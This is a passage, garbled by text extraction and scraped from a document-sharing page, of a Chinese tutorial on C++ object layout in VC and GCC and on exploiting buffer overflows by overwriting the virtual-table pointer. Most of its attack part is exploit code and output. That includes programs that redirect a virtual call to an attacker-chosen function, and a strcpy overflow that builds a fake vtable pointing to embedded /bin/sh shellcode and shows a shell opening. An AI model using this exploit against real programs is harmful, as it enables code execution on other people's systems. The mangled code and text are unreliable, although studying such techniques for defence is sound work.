C中通过溢出覆盖虚函数指针列表执行代码文档格式.docx

上传人:b****6 文档编号:21328131 上传时间:2023-01-29 格式:DOCX 页数:15 大小:20.12KB
下载 相关 举报
C中通过溢出覆盖虚函数指针列表执行代码文档格式.docx_第1页
第1页 / 共15页
C中通过溢出覆盖虚函数指针列表执行代码文档格式.docx_第2页
第2页 / 共15页
C中通过溢出覆盖虚函数指针列表执行代码文档格式.docx_第3页
第3页 / 共15页
C中通过溢出覆盖虚函数指针列表执行代码文档格式.docx_第4页
第4页 / 共15页
C中通过溢出覆盖虚函数指针列表执行代码文档格式.docx_第5页
第5页 / 共15页
点击查看更多>>
下载资源
资源描述

C中通过溢出覆盖虚函数指针列表执行代码文档格式.docx

《C中通过溢出覆盖虚函数指针列表执行代码文档格式.docx》由会员分享,可在线阅读,更多相关《C中通过溢出覆盖虚函数指针列表执行代码文档格式.docx(15页珍藏版)》请在冰豆网上搜索。

C中通过溢出覆盖虚函数指针列表执行代码文档格式.docx

test2();

return0;

}

使用VC编译:

开一个命令行直接在命令行调用cl来编译:

(如果你安装vc时没有选择注册环境

变量,那么先在命令行运行VC目录下bin\VCVARS32.BAT)

cltest.cpp/Fa

产生test.asm中间汇编代码

接下来就看看asm里有什么玄虚,分析起来有点长,要有耐心!

我们来看看:

数据定义:

_BSSSEGMENT

?

objA@@3VClassA@@ADQ01HDUP(?

);

objA64位

pobjA@@3PAVClassA@@ADD01HDUP(?

pobjA一个地址32位

_BSSENDS

看到objA为64位,里边存放了哪些内容呢?

接着看看构造函数:

_this$=-4

0ClassA@@QAE@XZPROCNEAR;

ClassA:

:

ClassA()定义了一个变量_this?

!

;

Filetest.cpp

Line6

pushebp

movebp,esp

pushecx

movDWORDPTR_this$[ebp],ecx;

ecx赋值给_this?

不明白?

moveax,DWORDPTR_this$[ebp]

movDWORDPTR[eax],OFFSETFLAT:

_7ClassA@@6B@

;

`vftable'

前面的部分都是编译器加的东东,我们的赋值在这里

movecx,DWORDPTR_this$[ebp]

movDWORDPTR[ecx+4],65535;

0xffffnum1=0xffff;

看来_this+4就是num1的地址

movesp,ebp

popebp

ret0

0ClassA@@QAE@XZENDP

那个_this和movDWORDPTR_this$[ebp],ecx让人比较郁闷了吧,不急看看何

处调用的构造函数:

_$E9PROCNEAR

Line10

movecx,OFFSETFLAT:

objA@@3VClassA@@A

call?

0ClassA@@QAE@XZ;

callClassA:

ClassA()

_$E9ENDP

看,ecx指向objA的地址,通过赋值,那个_this就是objA的开始地址,其实CLASS中

的非静态方法编译器编译时都会自动添加一个this变量,并且在函数开始处把ecx

赋值给他,指向调用该方法的对象的地址。

那么构造函数里的这两行又是干什么呢?

我们已经知道_this保存的为对象地址:

&

objA。

那么eax=&

objA

接着就相当于(*eax)=OFFSETFLAT:

来看看?

_7ClassA@@6B@是哪个道上混的:

CONSTSEGMENT

DDFLAT:

test1@ClassA@@UAEXXZ;

test2@ClassA@@UAEXXZ

CONSTENDS

看来这里存放的就是test1(),test2()函数的入口地址!

那么这个赋值:

就是在对象的起始地址填入这么一个地址列表的地址。

好了,至此我们已经看到了objA的构造了:

|低地址|

+--------+--->

objA的起始地址&

|pvftable|

+--------+-------------------------+

|num1|num1变量的空间|

objA的结束地址+--->

+--------------+地址表vftable

|高地址||test1()的地址|

+--------------+

|test2()的地址|

来看看main函数:

_mainPROCNEAR

Line13

Line14

movDWORDPTR?

pobjA@@3PAVClassA@@A,

OFFSETFLAT:

objA@@3VClassA@@A;

pobjA=&

Line15

ecx=this指针

指向调用者的地址

objA.test1()

objA.test1()直接调用,已经确定了地址

Line16

test2@ClassA@@UAEXXZ;

objA.test2()

Line17

moveax,DWORDPTR?

pobjA@@3PAVClassA@@A;

pobjA

movedx,DWORDPTR[eax];

edx=vftable

movecx,DWORDPTR?

callDWORDPTR[edx];

callvftable[0]即pobjA->

test1()看地址是动态查找的;

Line18

movedx,DWORDPTR[eax]

callDWORDPTR[edx+4];

test2()

callvftable[1]而vftable[1]里存放的是test2()的入口地址

Line19

xoreax,eax

Line20

_mainENDP

好了,相信到这里你已经对动态联编有了深刻印象。

二>

VC中对象的空间组织和溢出试验

通过上面的分析我们可以对对象空间组织概括如下:

+----------+--->

|pvftable|--------------------->

+

+----------+|

|各成员变量||

+--------------+地址表vftable

|高地址||虚函数1的地址|

|虚函数2的地址|

|......|

可以看出如果我们能覆盖pvtable然后构造一个自己的vftable表那么动态联编就使得

我们能改变程序流程!

现在来作一个溢出试验:

先写个程序来看看

classClassEx

intbuff[1];

ClassExobj1,obj2,*pobj;

cout<

buff<

"

"

<

obj1<

obj2<

pobj<

endl;

用cl编译运行结果为:

0x00408998:

0x00408990:

0x00408991:

0x00408994

编译器把buff的地址放到后面了!

把程序改一改,定义变量时换成:

结果还是一样!

不会是vc就是防着这一手吧!

看来想覆盖不容易呀;

只能通过obj1溢出覆盖obj2了

//ex_vc.cpp

virtualvoidtest(void){cout<

ClassEx:

test()"

endl;

voidentry(void)

Whyauhere?

pobj=&

obj2;

obj2.test();

intvtab[1]={(int)entry};

//构造vtab,

//entry的入口地址

obj1.buff[1]=(int)vtab;

//obj1.buff[1]就是obj2的pvftable域

//这里修改了函数指针列表的地址到vtab

pobj->

test();

编译clex_vc.cpp

运行结果:

test()

测试环境:

VC6

看我们修改了程序执行流程^_^

平时我们编程时可能用virtaul不多,但如果我们使用BC/VC等,且使用了厂商提供的

库,其实我们已经大量使用了虚函数,以后写程序可要小心了,一个不留神的变量

赋值可能会后患无穷。

//开始琢磨好多系统带的程序也是vc写的,里边会不会....

三>

GCC中对象的空间组织和溢出试验

刚才我们已经分析完vc下的许多细节了,那么我们接下来看看gcc里有没有什么不

一样!

分析方法一样,就是写个test.cpp用gcc-Stest.cpp来编译得到汇编文件

test.s然后分析test.s我们就能得到许多细节上的东西。

通过分析我们可以看到:

gcc中对象地址空间结构如下:

+---------------+对象的开始地址

||

|成员变量空间|

+---------------+

|pvftable|----------->

+------------------+vftable

+---------------+|0|

|高地址|+------------------+

|XXXXXXXX|

+------------------+

|0|

+-----------------+

|虚函数1入口地址|

|虚函数2入口地址|

哈哈,可以看到gcc下有个非常大的优势,就是成员变量在pvftable

前面,要是溢出成员变量赋值就能覆盖pvftable,比vc下方便多了!

来写个溢出测试程序:

//test.cpp

classClassTest

longbuff[1];

//大小为1

virtualvoidtest(void)

{

ClassTesttest()"

}

Whyareuhere?

ClassTesta,*p=&

a;

longaddr[]={0,0,0,(long)entry};

//构建的虚函数表

//test()->

entry()

a.buff[1]=(long)addr;

//溢出,操作了虚函数列表指针

a.test();

//静态联编的,不会有事

p->

//动态联编的,到我们的函数表去找地址,

//结果就变成了调用函数entry()

编译:

gcctest.cpp-lstdc++

执行结果:

bash-2.05#./a.out

ClassTesttest()

测试程序说明:

具体的就是gcc-Stest.cpp生成test.s后里边有这么一段:

.section.gnu.linkonce.d._vt$9ClassTest,"

aw"

@progbits

.p2align2

.type_vt$9ClassTest,@object

.size_vt$9ClassTest,24

_vt$9ClassTest:

.value0

.long__tf9ClassTest

.longtest__9ClassTest----------+

.zero8|

.comm__ti9ClassTest,8,4|

|

test()的地址<

----+

这就是其虚函数列表里的内容了。

test()地址在第3个(long)型地址空间

所以我们构造addr[]时:

就覆盖了test()函数的地址为entry()的地址

时就跑到我们构建的地址表里取了entry的地址去运行了

测试环境FreeBSD4.4

gcc2.95.3

来一个真实一点的测试:

通过溢出覆盖pvftable,时期指向一个我们自己构造的

vftable,并且让vftable的虚函数地址指向我们的一段shellcode

从而得到一个shell。

stdio.h>

classClassBase//定义一个基础类

charbuff[128];

voidsetBuffer(char*s)

strcpy(buff,s);

virtualvoidprintBuffer(void){};

//虚函数

classClassA:

publicClassBase

voidprintBuffer(void)

Name:

classClassB:

publicClassBase

Thetext:

charbuffer[512],*pc;

long*pl=(long*)buffer;

longaddr=0xbfbffabc;

//在我的机器上就是&

b^_*

charshellcode[]="

1\xc0Ph//shh/binT[PPSS4;

\xcd\x80"

inti;

ClassAa;

ClassBb;

ClassBase*classBuff[2]={&

a,&

b};

a.setBuffer("

Tom"

);

b.setBuffer("

Hello!

Thisisworldofc++."

for(i=0;

i<

2;

i++)//C++中的惯用手法,

//一个基础类的指针指向上层类对象时调

//用的为高层类的虚函数

classBuff[i]->

printBuffer();

//这里是正常用法

a<

:

b<

//&

b就是上面addr的值,

//如果你的机器上两个值不同就改一改addr值吧!

//构造一个特殊的buff呆会给b.setBuffer

//在开始处构造一个vftable

pl[0]=0xAAAAAAAA;

//填充1

pl[1]=0xAAAAAAAA;

//填充2

pl[2]=0xAAAAAAAA;

//填充3

pl[3]=addr+16;

//虚函数printBuffer入口地址

//的位置指向shell代码处了

pc=buffer+16;

strcpy(pc,shellcode);

pc+=strlen(shellcode);

for(;

pc-buffer<

128;

*pc++='

A'

//填充

pl=(long*)pc;

*pl=addr;

//覆盖pvftable使其指向我们构造的列表

b.setBuffer(buffer);

//溢出了吧.

//再来一次

i++)

//classBuffer[1].printBuffer

//时一个shell就出来了

bash-2.05$./a.out

Tom

Hello!

Thisisworldofc++.

0xbfbffb44:

0xbfbffabc

$<

------呵呵,成功了

说明:

addr=&

b也就是&

b.buff[0]

b.setBuffer(buffer)

就是让b.buff溢出,覆盖128+4+1个地址。

此时内存中的构造如下:

&

b.buff[0]也是&

b

^

|

[填充1|填充2|填充3|addr+16|shellcode|填充|addr|\0]

____^___

|||

|+---+||

|||

+--------------->

128<

--------------+|

此处即pvftable项,被溢出覆盖为addr<

---+

现在b.buff[0]的开始处就构建了一个我们自己的虚

函数表,虚函数的入口地址为shellcode的地址!

本文只是一个引导性文字,还有许多没

有提到的细节,需要自己去分析。

俗话说自己动手丰衣足食*_&

四>

参考

Phrack56#<

SMASHINGC++VPTRS>

>

展开阅读全文
相关资源
猜你喜欢
相关搜索

当前位置:首页 > 法律文书 > 判决书

copyright@ 2008-2022 冰豆网网站版权所有

经营许可证编号:鄂ICP备2022015515号-1